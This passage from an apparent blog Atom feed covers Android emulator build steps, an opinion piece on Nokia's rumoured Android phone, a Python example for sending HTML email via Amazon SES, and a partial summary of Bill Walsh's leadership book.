</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Get the source code.</span>
</span></span><span style="display:flex;"><span>git clone https://android.googlesource.com/platform/external/qemu
</span></span><span style="display:flex;"><span><span style="color:#b58900">cd</span> qemu
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install required dependencies.</span>
</span></span><span style="display:flex;"><span>sudo apt-get install gcc-multilib libesd0-dev libx11-dev <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span> libxext-dev libasound2-dev libpulse-dev <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span> lib32stdc++-4.8-dev
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Install ia32 libraries (missing from default ubuntu 13.10).</span>
</span></span><span style="display:flex;"><span>sudo apt-get install libgtk2.0-0:i386 libpangox-1.0-0:i386 <span style="color:#cb4b16">\
</span></span></span><span style="display:flex;"><span><span style="color:#cb4b16"></span> libpangoxft-1.0-0:i386 libidn11:i386 libglu1-mesa:i386
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Configure and build the emulator binary.</span>
</span></span><span style="display:flex;"><span>./android-configure.sh --no-gles --no-tests --cc<span style="color:#719e07">=</span>/usr/bin/gcc
</span></span><span style="display:flex;"><span>make -j16
</span></span><span style="display:flex;"><span><span style="color:#586e75"># The emulator binaries are in objs directory.</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/linux" term="linux" label="linux"/></entry><entry><title type="html">Why Nokia's (rumored) Android phone is doomed</title><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="related" type="text/html" title='"Material design" and Google&#39;s strategy'/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><link href="https://ashishb.net/tech/random-thoughts-android-launchers-home-screens/?utm_source=atom_feed" rel="related" type="text/html" title="Random Thoughts: Android launchers (home screens)"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="related" type="text/html" title="MusicSync: best alternative to Google Play Music and Google Podcasts"/><id>https://ashishb.net/tech/nokia-working-on-android-phone/</id><author><name>Ashish Bhatia</name></author><published>2014-02-11T09:18:27+00:00</published><updated>2014-02-11T09:18:27+00:00</updated><content type="html"><![CDATA[<blockquote>Nokia&rsquo;s late Android entry in 2014 might miss market traction as it lacks Google Services, sidestepping fan loyalty and popular app access. Is it too late?</blockquote><p>In Feb 2014, WSJ is   
    
    
<a href="https://www.wsj.com/articles/nokia-releasing-first-android-phone-1392063375?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reporting</a> that Nokia is working on an Android phone.
In Sept 2010,</p>
<blockquote>
<p>Anssi Vanjoki, outgoing head of Nokia’s smartphone division, likens mobile phone makers that adopt Google’s software to Finnish boys who “pee in their pants” for warmth in the winter. Temporary relief is followed by an even worse predicament.  [   
    
    
<a href="https://www.zdnet.com/blog/hardware/nokia-using-android-like-peeing-in-your-pants-for-warmth-in-winter/9772?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>]</p></blockquote>
<p>As someone who has 
<a href="/tech/nokia-and-the-smartphone-era/">advocated</a> Android for Nokia in the past, I think its just too late now to do that.</p>
<p>Android buyers are in one of the following categories,</p>
<ol>
<li>Google fanboys - they will buy nothing except Nexus devices.</li>
<li>People looking for next cool gadget - they buy Samsung since Samsung has deep pockets for marketing budgets (No wonder, it&rsquo;s the   
    
    
<a href="https://bgr.com/2013/11/14/apple-samsung-smartphone-profits-2/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">only</a> Android OEM making any money on Android)</li>
<li>Cheap smartphone buyers - they will buy low-priced Chinese no-name manufacturers.</li>
</ol>
<p>At this point in time, when smartphones have been commoditized.
Ask yourself, what are the differences between &ldquo;iPhone 5 and 5s&rdquo; or &ldquo;Nexus 4 and 5&rdquo; or &ldquo;Galaxy S4 and latest edition of S4&rdquo;?),
it&rsquo;s not a question whether Nokia will make money on this, it&rsquo;s a question of whether Nokia will even get any market share
at this stage.</p>
<p>The choice of   
    
    
<a href="https://www.theverge.com/2014/2/10/5398322/nokia-x-normandy-android-phone-wsj-rumor?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not</a> having Google Services on the device will imply that Google Now, Google Maps and Google Play Store (and corresponding ~1 million apps) will be inaccessible as well. That probably puts the nail in the coffin before fetus leaves the womb.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/google" term="google" label="google"/><category scheme="https://ashishb.net/tag/nokia" term="nokia" label="nokia"/></entry><entry><title type="html">How to send HTML mails using Amazon SES (Simple Email Service)</title><link href="https://ashishb.net/programming/amazon-ses-python/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-gradle-and-compile-time-dependencies/?utm_source=atom_feed" rel="related" type="text/html" title="Android, Gradle and compile-time only dependencies"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/flask-vs-fastapi/?utm_source=atom_feed" rel="related" type="text/html" title="FastAPI vs Flask performance comparison"/><id>https://ashishb.net/programming/amazon-ses-python/</id><author><name>Ashish Bhatia</name></author><published>2014-02-04T09:17:58+00:00</published><updated>2014-02-04T09:17:58+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to send HTML emails using Python with Amazon SES. Discover a simple method and sample code to enhance your email functionality effectively.</blockquote><p>As the title suggests, I was looking for a way to send HTML mails in python using Amazon SES but did not find anything (or maybe my search skills are bad).
So, once I found the solution, I thought I might share it with everyone.</p>
<p>The basic idea is that contents of the mail (raw-message) must be a JSON dictionary with &ldquo;Data&rdquo; as main key whose value is a key value pair containing entries with keys like &ldquo;From&rdquo;, &ldquo;To&rdquo; etc.
Sample code can be seen below.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Python
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">49
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> commands
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> json
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> logging
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> sys
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> tempfile
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">def</span> <span style="color:#268bd2">sendEmail</span>(mail_sender, mail_subject, mail_content, mail_receivers_list):
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  Args:
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  mail_sender: str, sender&#39;s email address.
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  mail_subject: str, subject of the email.
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  mail_content: str, content (html data) of the email.
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  mail_receivers_list: str, comma separated list of receivers.
</span></span></span><span style="display:flex;"><span><span style="color:#2aa198">  &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#586e75"># This style is specific to AWS SES.</span>
</span></span><span style="display:flex;"><span>  message_dict <span style="color:#719e07">=</span> { <span style="color:#2aa198">&#39;Data&#39;</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#39;From: &#39;</span> <span style="color:#719e07">+</span> mail_sender <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;</span><span style="color:#cb4b16">\n</span><span style="color:#2aa198">&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#39;To: &#39;</span> <span style="color:#719e07">+</span> mail_receivers_list <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;</span><span style="color:#cb4b16">\n</span><span style="color:#2aa198">&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#39;Subject: &#39;</span> <span style="color:#719e07">+</span> mail_subject <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;</span><span style="color:#cb4b16">\n</span><span style="color:#2aa198">&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#39;MIME-Version: 1.0</span><span style="color:#cb4b16">\n</span><span style="color:#2aa198">&#39;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#2aa198">&#39;Content-Type: text/html;</span><span style="color:#cb4b16">\n\n</span><span style="color:#2aa198">&#39;</span> <span style="color:#719e07">+</span>
</span></span><span style="display:flex;"><span>  mail_content}
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">try</span>:
</span></span><span style="display:flex;"><span>    _, message_dict_filename <span style="color:#719e07">=</span> tempfile<span style="color:#719e07">.</span>mkstemp()
</span></span><span style="display:flex;"><span>    f <span style="color:#719e07">=</span> <span style="color:#b58900">open</span>(message_dict_filename,<span style="color:#2aa198">&#39;w&#39;</span>)
</span></span><span style="display:flex;"><span>    f<span style="color:#719e07">.</span>write(json<span style="color:#719e07">.</span>dumps(message_dict))
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">except</span> <span style="color:#cb4b16">IOError</span> <span style="color:#719e07">as</span> e:
</span></span><span style="display:flex;"><span>    logging<span style="color:#719e07">.</span>error(<span style="color:#b58900">str</span>(e))
</span></span><span style="display:flex;"><span>    sys<span style="color:#719e07">.</span>exit(<span style="color:#2aa198">1</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">finally</span>:
</span></span><span style="display:flex;"><span>    f<span style="color:#719e07">.</span>close()
</span></span><span style="display:flex;"><span>  aws_send_email_cmd <span style="color:#719e07">=</span> [
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#39;aws&#39;</span>, <span style="color:#2aa198">&#39;ses&#39;</span>, <span style="color:#2aa198">&#39;send-raw-email&#39;</span>, <span style="color:#2aa198">&#39;--region=us-east-1&#39;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#39;--raw-message=file://</span><span style="color:#2aa198">%s</span><span style="color:#2aa198">&#39;</span> <span style="color:#719e07">%</span> message_dict_filename]
</span></span><span style="display:flex;"><span>  result <span style="color:#719e07">=</span> commands<span style="color:#719e07">.</span>getstatusoutput(<span style="color:#2aa198">&#39; &#39;</span><span style="color:#719e07">.</span>join(aws_send_email_cmd))
</span></span><span style="display:flex;"><span>  logging<span style="color:#719e07">.</span>info(<span style="color:#2aa198">&#39;Sending message with subject &#34;</span><span style="color:#2aa198">%s</span><span style="color:#2aa198">&#34;, result:</span><span style="color:#2aa198">%s</span><span style="color:#2aa198">.&#39;</span>, mail_subject,
</span></span><span style="display:flex;"><span>      result)
</span></span><span style="display:flex;"><span>  <span style="color:#719e07">if</span> result[<span style="color:#2aa198">0</span>] <span style="color:#719e07">!=</span> <span style="color:#2aa198">0</span>:
</span></span><span style="display:flex;"><span>    logging<span style="color:#719e07">.</span>error(<span style="color:#2aa198">&#39;Mail sending failed. Command: </span><span style="color:#2aa198">%s</span><span style="color:#2aa198">&#39;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#2aa198">&#39; &#39;</span><span style="color:#719e07">.</span>join(aws_send_email_cmd))
</span></span><span style="display:flex;"><span>  <span style="color:#586e75"># It is usually a good idea to delete the file &#34;f&#34; at this stage.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">def</span> <span style="color:#268bd2">main</span>():
</span></span><span style="display:flex;"><span>  sendEmail(<span style="color:#2aa198">&#39;sender@gmail.com&#39;</span>, <span style="color:#2aa198">&#39;mail subject&#39;</span>, <span style="color:#2aa198">&#39;content of the mail&#39;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#2aa198">&#39;foo@gmail.com, blah@gmail.com&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">if</span> __name__ <span style="color:#719e07">==</span> <span style="color:#2aa198">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>  main()</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/amazon" term="amazon" label="amazon"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/><category scheme="https://ashishb.net/tag/ses" term="ses" label="ses"/></entry><entry><title type="html">Book Summary: The score takes care of itself</title><link href="https://ashishb.net/book-summary/the-score-takes-care-of-itself/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/the-last-lecture/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Last Lecture by Randy Pausch"/><link href="https://ashishb.net/book-summary/only-the-paranoid-survives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Only The Paranoid Survives by Andrew Grove"/><id>https://ashishb.net/book-summary/the-score-takes-care-of-itself/</id><author><name>Ashish Bhatia</name></author><published>2014-02-02T10:28:51+00:00</published><updated>2014-02-02T10:28:51+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how Bill Walsh transformed the 49ers, defining success through leadership, innovation, and process over results. Unveil winning strategies and traits today!</blockquote><p>The   
    
    
<a href="https://amzn.to/1cJ9Y0a?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is written by Bill Walsh - San Francisco&rsquo;s 49ers Football team coach who transformed the worst-performing team of its era into the best-performing team. The book talks about the changes he brought in as well as his philosophy of leadership which is generic enough to apply outside American Football. He is also known as the creator of the   
    
    
<a href="https://en.wikipedia.org/wiki/West_Coast_offense?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">West Coast Offense</a>.</p>
<p>He brought in Standards of Performance that sets the expectations for everyone who was part of the 49ers.</p>
<h2 id="process-vs-result">Process vs Result</h2>
<ol>
<li>Aim for a Standard of Performance (which is absolute) vs winning (which is relative to others).</li>
<li>&ldquo;Process&rdquo; of improvement leads to the &ldquo;result&rdquo; of victory and not vice versa.</li>
<li>Focus on the process which produces results and not on results.</li>
<li>Promotions/wins/sales quotas are results, they do not provide performance information. And it&rsquo;s important to dig into the performance to find the truth hidden behind these results.</li>
</ol>
<h2 id="failure">Failure</h2>
<p>Failure is an integral part of success. Knowing when it happens and what to do when it happens is the first step toward success.</p>
<p>Do&rsquo;s</p>
<ol>
<li>Do Expect  defeat</li>
<li>Do stop looking at past failures</li>
<li>Do give yourself a little recovery time</li>
<li>Do tell yourself to stand up and fight again</li>
<li>Do start planning for the next battle</li>
</ol>
<p>Don&rsquo;t&rsquo;s</p>
<ol>
<li>Don&rsquo;t blame others</li>
<li>Don&rsquo;t expect sympathy</li>
<li>Don&rsquo;t ask &ldquo;Why me&rdquo;</li>
<li>Don&rsquo;t bellyache</li>
<li>Don&rsquo;t keep accepting condolences</li>
</ol>
<h2 id="on-organization-culture">On organization culture</h2>
<ol>
<li>Know it all bull-headed people are dangerous.</li>
<li>In an organization, it&rsquo;s not just important for individuals to know their role but they should be aware of the roles of other people as well.</li>
<li>Success belongs to everyone and so the failure.</li>
<li>Never let your colleagues down, you win with them, you lose with them. Therefore, defend them.</li>
<li>Winners act like winners before they are.</li>
<li>Hostile relations are toxic - one enemy does more damage than the good of 100 friends. Enemies consume time, energy, and attention - all limited resources.</li>
<li>An organization emulates the leader&rsquo;s work ethic.</li>
<li>A little humor is important to keep a check on stress and anxiety.</li>
</ol>
<h2 id="on-success">On success</h2>
<ol>
<li>Success disease - Winning knocks off emotional balance and that&rsquo;s why repeated success is difficult.</li>
<li>Being aspirational is good but commitment and sacrifice are needed to attain success.</li>
</ol>
<h2 id="on-decision-making">On decision making</h2>
<ol>
<li>Opinions, discussions, and variance of ideas are good but once the decision is made discussion should be over.
followers who work for a leader offer their opinion, the leader is the one who should make a decision.</li>
<li>A leader must make a decision based on &ldquo;sound logic&rdquo;, any reactionary reasons (eg. to prove oneself right or to prove someone wrong) are usually bad.</li>
</ol>
<h2 id="on-hiring">On Hiring</h2>
<ol>
<li>Hire a person for his expertise and not just past relations.</li>
<li>Hire high-energy and motivated individuals.</li>
<li>Being able to communicate and express oneself is equally important.</li>
<li>Hire people who will be loyal to you.</li>
<li>Choose people who have &ldquo;character&rdquo; and not &ldquo;characters&rdquo;.</li>
</ol>
<h2 id="on-firing">On Firing</h2>
<ol>
<li>People past their peak have to leave, it hurts but organization comes first.</li>
<li>Be ready to deal with people who breach the policies, firing sucks but sometimes there are no alternatives.</li>
<li>Attitude matters as much as talent, sometimes, talented individuals with bad attitudes must be let go of.</li>
<li>People who don&rsquo;t have the willpower to succeed will fail, better let them leave early on.</li>
</ol>
<h2 id="on-conventional-wisdom">On conventional wisdom</h2>
<ol>
<li>Conventional wisdom leads to conventional results.</li>
<li>Success does not care about which road you chose.</li>
<li>Remove the fear of the unknown, and take bold steps as long as they are well thought out.</li>
<li>Desperation should not be driving innovation (that&rsquo;s the last resort).</li>
<li>Be obsessive about looking for the upside in the downside.</li>
<li>Don&rsquo;t mistake activity for action.</li>
</ol>
<h2 id="on-leadership">On leadership</h2>
<ol>
<li>Give credit where it&rsquo;s due, fewer things offer a greater return on investment than praise.</li>
<li>Be prepared - visualize the future, think about all possible situations, and prepare your responses for them in advance.</li>
<li>Responses are temporary - Make moves to counter competitors but remember that competitor is going to come back with a counter move soon, so, be prepared for that.</li>
<li>A leader cannot be casual in any area of life, all his moves must be well thought of with great attention to detail.</li>
<li>A leader must have the strength of will to carry out his decisions and to be able to stick with them in adverse situations.</li>
<li>Focus on important problems for the organization rather than peripheral stuff (stuff that does not add to the bottom line should not get too much attention).</li>
<li>A good leader produces a self-sustaining organization that functions well even in his absence.</li>
<li>People are motivated only by their inner voice, teach a new inner voice to followers which will motivate them.</li>
<li>The focus should be on motivating people to do &ldquo;their best&rdquo; rather than &ldquo;crush the opponent&rdquo; - though occasionally &ldquo;crush the opponent&rdquo; works too.</li>
<li>Be wary of titles (&ldquo;genius&rdquo; in the case of Bill Walsh), they haunt you later when performance goes down.</li>
<li>Criticize people for &ldquo;current&rdquo; mistakes (and not the ones committed earlier). Also, give some positive feedback afterward.</li>
<li>When describing expectations from employees, don&rsquo;t be subtle, be explicit, and set the record straight.</li>
<li>Big ears (better listeners) are better than big egos - Listen, Learn, and Lead.</li>
<li>Be the leader - without the formal title (titles produce hierarchy and reduce communication)</li>
<li>Be unpredictable - People become comfortable with predictable leaders, unpredictability/uncertainty allows a leader to prevent people from settling in their comfort zone.</li>
<li>A leader treats his people like his family members - money alone cannot motivate people for long.</li>
<li>Teaching is an important part of a leader&rsquo;s life - Having a passion for teaching, expertise in the subject, being able to communicate his ideas, and having the persistence to teach is important.</li>
